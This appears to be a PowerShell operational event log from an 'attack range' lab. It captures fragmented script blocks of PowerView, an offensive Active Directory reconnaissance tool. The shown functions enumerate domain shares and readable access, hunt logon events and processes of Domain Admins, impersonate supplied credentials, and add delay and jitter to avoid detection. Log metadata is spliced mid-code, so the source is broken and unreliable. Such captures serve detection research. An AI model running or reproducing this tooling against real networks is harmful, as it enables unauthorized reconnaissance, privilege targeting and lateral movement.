New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
# $Remark = $Share.Remark
$Path = '\\'+$TargetComputer+'\'+$ShareName
if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-InterestingDomainShareFile {
<#
.SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedF69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124457Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4654mainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
For69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124456Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4554main returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
